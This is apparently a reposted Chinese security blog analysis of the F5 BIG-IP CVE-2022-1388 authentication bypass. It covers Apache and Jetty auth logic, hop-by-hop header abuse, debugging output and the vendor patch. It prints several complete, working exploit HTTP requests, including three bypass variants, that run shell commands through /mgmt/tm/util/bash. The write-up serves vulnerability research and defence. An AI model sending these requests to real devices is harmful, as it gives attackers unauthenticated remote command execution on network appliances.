F5 BIGIP CVE-2022-1388 认证绕过漏洞分析
2022-10-18 08:32:11 Author: LemonSec(查看原文) 阅读量:38 收藏

1

概述

官网5月5日漏洞通告:

https://support.f5.com/csp/article/K23605346

漏洞影响面:

作为java初学者,尝试基于大佬们的文章稍微深入的分析了一下,因为能力不足,在分析过程中其实没有保留一个很严谨的思路和逻辑,反倒像自己一些疑问点的探析,可能有点乱,希望能给观者启发,同时求大佬们轻锤

2

分析

根据我的上一篇文章对CVE-2021-22986的分析可知

由于数据流是apache获取后根据url的模式将数据包转发给8100的jetty,针对F5 BIG-IP iControl REST API的认证绕过要过两关,分别是apache的认证以及jetty的认证。

apache认证验证逻辑

在CVE-2021-22986影响版本中(我的是16.0.0),针对apache的认证绕过只要满足包头中存在X-F5-Auth-Token字段即可绕过,但是CVE-2021-22986修复版本(我使用的是16.1.2.1)中进行了修复,如果包头X-F5-Auth-Token参数为空则会直接返回401,如果不为空则依然可以转发至jetty。

jetty认证验证逻辑

另外,在CVE-2021-22986影响版本中,jetty认证校验中只要求取包头X-F5-Auth-Token的值结果为null,同时Authorization头中username有效即可(admin为默认有效的username),在CVE-2021-22986修复版本中,则首先会判断包头X-F5-Auth-Token的值结果是否为null,如果不是则使用包头X-F5-Auth-Token的值验证,如果为空则根据Authorization的值来进行判断。

根据CVE-2021-22986修复版本(我使用的是16.1.2.1)中setIdentityFromBasicAuth可知

private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {    String authHeader = request.getBasicAuthorization();    if (authHeader == null) {        return false;    } else {        final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);        String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");        if (xForwardedHostHeaderValue == null) {            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);            if (runnable != null) {                runnable.run();            }
return true; } else { String[] valueList = xForwardedHostHeaderValue.split(", "); int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0; if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) { if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) { request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null); if (runnable != null) { runnable.run(); }
return true; } else { boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true"); if (PasswordUtil.isPasswordReset() && !isPasswordExpired) { AuthProviderLoginState loginState = new AuthProviderLoginState(); loginState.username = components.userName; loginState.password = components.password; loginState.address = request.getRemoteSender(); RestRequestCompletion authCompletion = new RestRequestCompletion() { public void completed(RestOperation subRequest) { request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null); if (runnable != null) { runnable.run(); }
}
public void failed(Exception ex, RestOperation subRequest) { RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()}); if (ex.getMessage().contains("Password expired")) { request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION)); }
if (runnable != null) { runnable.run(); }
} };
try { RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion); RestRequestSender.sendPost(subRequest); } catch (URISyntaxException var11) { LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()}); }
return true; } else { request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null); if (runnable != null) { runnable.run(); }
return true; } } } else { request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null); if (runnable != null) { runnable.run(); }
return true; } } }}
static { TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";}
}

修复后的代码针对请求头的X-Forwarded-Host这个list中最后一个元素做了检查,如果是127.0.0.1,或者是127.4.2.1同时username是f5hubblelcdadmin,则依然可以通过认证,但是其他的请求则无法直接通过认证,会检查认证是否过期,如果过期则使用Authoriaztion头中的口令密码重新验证。

hop-by-hop

根据hop-by-hop headers

据RFC 2616,HTTP/1.1 规范默认将以下标头视为逐跳:Keep-AliveTransfer-EncodingTEConnectionTrailerUpgrade和。当在请求中遇到这些标头时,兼容的代理应该处理或操作这些标头所指示的任何内容,而不是将它们转发到下一个跃点.除了这些默认值之外,请求还可以定义一组自定义的标头,通过将它们添加到connection中来逐跳处理,如下所示

Connection: close, X-Foo, X-Bar

这样子,不仅Connection不会呗转发到下一个跃点,而且其中定义的标头X-Foo、X-Bar也同样。参考以下示意图

组合实现漏洞绕过

个有效的触发数据包是这样的

POST /mgmt/tm/util/bash HTTP/1.1Host: 127.0.0.1Authorization: Basic YWRtaW46X-F5-Auth-Token: aconnection: X-F5-Auth-TokenContent-type: application/jsonContent-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

我们可以大胆猜测,在apache检查中,因为头部X-F5-Auth-Token存在值且不为空,所以成功绕过验证;

在转发给jetty处理时根据hop-by-hop会将connection头以及X-F5-Auth-Token去掉转发;

在jetty验证中,再次取X-F5-Auth-Token值为空,X-Forwarded-Host会将Host字段的值添加进来,检查结果为127.0.0.1,且Authoriaztion中username有效(admin),因而认证通过。

如果我们的猜测正确,那么发送以下数据包也应该成功(将Host ip设置为127.4.2.1,Authoriaztion的username设置为f5hubblelcdadmin)

POST /mgmt/tm/util/bash HTTP/1.1Host: 127.4.2.1Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo=X-F5-Auth-Token: aConnection: X-F5-Auth-TokenContent-type: application/jsonContent-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

测试确实成功:

并且如果在Host值为127.4.2.1的情况下将Authorization的username值设置为admin的话,则会失败,测试确实如所料

3

调试

为了验证猜想正确,进行调试分析

调试开启步骤参考上一篇文章,即编辑/var/service/restjavad/run文件,加入

JVM_OPTIONS+=" -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777"

同时,防火墙开启8777端口

[[email protected]:NO LICENSE:Standalone] / # tmsh[email protected](localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos)# security firewall[email protected](localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos.security.firewall)# modify management-ip-rules rules add { allow-access-8777 { action accept destination { ports add { 8777 } } ip-protocol tcp place-before first } }

然后使用idea连接远程调试即可

断点直接下在RestServerServlet.class的service函数中即可,直接看apache传过来的request

先发送一个可以触发漏洞的包:

POST /mgmt/tm/util/bash HTTP/1.1Host: 127.0.0.1Authorization: Basic YWRtaW46X-F5-Auth-Token: aConnection: X-F5-Auth-TokenContent-type: application/jsonContent-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

此时,在断点处获取到的op的值为

[ id=4255273 referer=null uri=http://localhost:8100/mgmt/tm/util/bash method=POST statusCode=200 contentType=application/json contentLength=41 contentRange=null deadline=Tue May 24 12:16:12 PDT 2022 body=null forceSocket=false isResponse=false retriesRemaining=5 coordinationId=null isConnectionCloseRequested=false isConnectionKeepAlive=true isRestErrorResponseRequired=true AdditionalHeadersAsString=  Request:   'Local-Ip-From-Httpd'='172.16.113.247'   'X-Forwarded-Proto'='http'   'X-Forwarded-Server'='localhost.localdomain'   'X-F5-New-Authtok-Reqd'='false'   'X-Forwarded-Host'='127.0.0.1'  Response:<empty> ResponseHeadersTrace= X-F5-Config-Api-Status=0]

可以看到,X-Forwarded-Host的值就是我们果然传进入的host的值,因为基本上确定,apache在处理过程中将host头参数添加到X-Forwarded-Host参数中并传递给jetty,通过字符串匹配的方法,我们查找并确定时/etc/httpd/modules/mod_proxy.so在处理这个头

可以看到,apache在处理过程中会调用mod_proxy.so,将Host的值添加到X-Forwarded-Host这个值当中,然后再传递给jetty,jetty又会根据X-Forwarded-Host的值来进行权限验证,整体流程基本清楚。

但是这里我们看到,程序是使用了apr_table_mergen这个方法来将Host的值添加到X-Forwarded-Host当中,而不是使用apr_table_set这个方法直接设置,所以我们试想,如果在发送给apache的包中直接就包含有效的X-Forwarded-Host值会如何呢?

测试发现失败的

在断点处获得op的值为:

[ id=4260158 referer=null uri=http://localhost:8100/mgmt/tm/util/bash method=POST statusCode=200 contentType=application/json contentLength=41 contentRange=null deadline=Tue May 24 12:40:23 PDT 2022 body=null forceSocket=false isResponse=false retriesRemaining=5 coordinationId=null isConnectionCloseRequested=false isConnectionKeepAlive=true isRestErrorResponseRequired=true AdditionalHeadersAsString=  Request:   'Local-Ip-From-Httpd'='172.16.113.247'   'X-Forwarded-Proto'='http'   'X-Forwarded-Server'='localhost.localdomain'   'X-F5-New-Authtok-Reqd'='false'   'X-Forwarded-Host'='127.0.0.1, 123.123.123.123'  Response:<empty> ResponseHeadersTrace= X-F5-Config-Api-Status=0]

经过调试分析可以看到,jetty拿到的数据包中的X-Forwarded-Host参数融合了Host和原始发送给apache的X-Forwarded-Host参数的值,但是jetty在认证检查setIdentityFromBasicAuth中检查的是X-Forwarded-Host这个列表中最后一个元素的值(即Host头的值),所以只有host的值为127.0.0.1或者127.4.2.1才行

private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {    String authHeader = request.getBasicAuthorization();    if (authHeader == null) {        return false;    } else {        final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);        String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");        if (xForwardedHostHeaderValue == null) {            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);            if (runnable != null) {                runnable.run();            }             return true;    } else {        String[] valueList = xForwardedHostHeaderValue.split(", ");        int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;        if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {            if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {                request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);                if (runnable != null) {                    runnable.run();                }
return true; } else { boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true"); if (PasswordUtil.isPasswordReset() && !isPasswordExpired) { AuthProviderLoginState loginState = new AuthProviderLoginState(); loginState.username = components.userName; loginState.password = components.password; loginState.address = request.getRemoteSender(); RestRequestCompletion authCompletion = new RestRequestCompletion() { public void completed(RestOperation subRequest) { request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null); if (runnable != null) { runnable.run(); }
}
public void failed(Exception ex, RestOperation subRequest) { RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()}); if (ex.getMessage().contains("Password expired")) { request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION)); }
if (runnable != null) { runnable.run(); }
} };
try { RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion); RestRequestSender.sendPost(subRequest); } catch (URISyntaxException var11) { LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()}); }
return true; } else { request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null); if (runnable != null) { runnable.run(); }
return true; } } } else { request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null); if (runnable != null) { runnable.run(); }
return true; } }}}
static { TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";}
}

但是,在jetty中,在RestServerServlet.class中setHostIpAddress中在获取到请求时会检查包头中是否有X-Forwarded-Host参数,如果有则跳过继续运行,如果没有的话则会赋值localhost。所以可以想到,在apache转发给jetty的请求中如果X-Forwarded-Host的值为空或者不存在,也可以绕过认证

如果直接发送给apache的包头中去掉Host参数,同时也没有X-Forwarded-Host参数的话,jetty获取到的X-Forwarded-Host值应该是空的,但是经过测试,Host参数不能缺少,否则报错

所以可以考虑通过hop-by-hop的方法,将X-Forwarded-Host添加在connection当中,这样子,在转发给jetty的X-Forwarded-Host参数应该也是空,尝试果然可以

测试果然如所料:

4

几种绕过模式总结

经过以上分析,发现绕过apache的思路其实比较单一,就是头中包含X-F5-Auth-Token,并且在connection中包含X-F5-Auth-Token

但是绕过jetty的方式不止一种,简单总结一下:

1.host的值为127.0.0.1、localhost等值,Authorization为admin的base6

POST /mgmt/tm/util/bash HTTP/1.1Host: 127.0.0.1Authorization: Basic YWRtaW46X-F5-Auth-Token: aConnection: X-F5-Auth-TokenContent-type: application/jsonContent-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

2.host的值为127.4.2.1,Authoriaztion为f5hubblelcdadmin的base64

POST /mgmt/tm/util/bash HTTP/1.1Host: 127.4.2.1Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo=X-F5-Auth-Token: aConnection: X-F5-Auth-TokenContent-type: application/jsonContent-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

3.host值为默认,connection中包含X-Forwarded-Host的值,造成jetty在检查X-Forwarded-Host发现为空所以置localhost进而绕过

POST /mgmt/tm/util/bash HTTP/1.1Host: 172.16.113.244Authorization: Basic YWRtaW46X-F5-Auth-Token: aconnection: X-F5-Auth-Token, X-Forwarded-HostContent-type: application/jsonContent-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

5

修复

安装16.1.2.2修复版本,查看修复情况

mod_auth_pam修复情况

简单查看mod_auth_pam.so针对X-F5-Auth-Token处理的变化

老版本中(16.1.2.1)中,只检查X-F5-Auth-Token的值不为空即可绕过认证

但是在修复版本(16.1.2.2)中X-F5-Auth-Token不仅不能为空,而且要检查正确性,有效才通过认证

Apache配置文件修复情况

╰─$ diff ./16.1.2.1/httpd.conf ./16.1.2.2/httpd.conf1006a1007,1015> <If "%{HTTP:connection} =~ /close/i ">> RequestHeader set connection close> </If>> <ElseIf "%{HTTP:connection} =~ /keep-alive/i ">> RequestHeader set connection keep-alive> </ElseIf>> <Else>> RequestHeader set connection close> </Else>

可以看出配置中新增选项,如果头connection中只要有close字段,则直接将connection的值设置为close,如果头connection中只要有keep-alive字段,则直接将connection的值设置为keep-alive,去除了通过hop-by-hop除去X-F5-Auth-Token头的可能性

实际测试一下,发送以下数据包:

POST /mgmt/tm/util/bash HTTP/1.1Host: 172.16.113.244Authorization: Basic YWRtaW46YWRtaW4=connection: close, X-Forwarded-HostContent-type: application/jsonContent-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

在jetty中下断点,发现X-Forwarded-Host依然存在,且取的是host的值,可判断,通过hop-by-hop除去X-F5-Auth-Token头的方法也不存在

[ id=1690145 referer=null uri=http://localhost:8100/mgmt/tm/util/bash method=POST statusCode=200 contentType=application/json contentLength=41 contentRange=null deadline=Fri May 27 06:17:23 PDT 2022 body=null forceSocket=false isResponse=false retriesRemaining=5 coordinationId=null isConnectionCloseRequested=false isConnectionKeepAlive=true isRestErrorResponseRequired=true AdditionalHeadersAsString=  Request:   'Tmui-Dubbuf'='mbDASW8cWiBbzv7Ey2zxzKtX'   'REMOTECONSOLE'='/bin/false'   'REMOTEROLE'='0'   'Session-Invalid'='true'   'X-Forwarded-Proto'='http'   'X-Forwarded-Host'='172.16.113.244'   'X-F5-New-Authtok-Reqd'='false'   'Local-Ip-From-Httpd'='172.16.113.245'   'X-Forwarded-Server'='localhost.localdomain'  Response:<empty> ResponseHeadersTrace= X-F5-Config-Api-Status=0]

6

参考链接

[1] 从滥用HTTP hop by hop请求头看CVE-2022-1388

https://y4er.com/post/from-hop-by-hop-to-cve-2022-1388/

[2] hop-by-hop headers

https://book.hacktricks.xyz/pentesting-web/abusing-hop-by-hop-headers

[3] CVE-2022-1388 F5 BIG-IP iControl REST 处理进程分析与认证绕过漏洞复现

https://mp.weixin.qq.com/s?__biz=Mzg3MTU0MjkwNw==&mid=2247489581&idx=1&sn=52811f2a353bf61a756dd324960f0feb

[4] BIG-IP(CVE-2022-1388)从修复方案分析出exp

https://cn-sec.com/archives/993185.html

[5] F5 BIG-IP 未授权 RCE(CVE-2022-1388)分析

https://paper.seebug.org/1893/

[6] CVE-2022-1388漏洞分析

http://buaq.net/go-111634.html

作者: 1s1and,文章转载于先知社区
侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec
觉得不错点个“赞”、“在看”

文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247536591&idx=2&sn=30cf85a74fd97f292d33ad663895efd8&chksm=f9e32094ce94a982d3f1e21d3eb46e84d633807326b08ca12067ba58220623189cda44e5c068#rd
如有侵权请联系:admin#unsafe.sh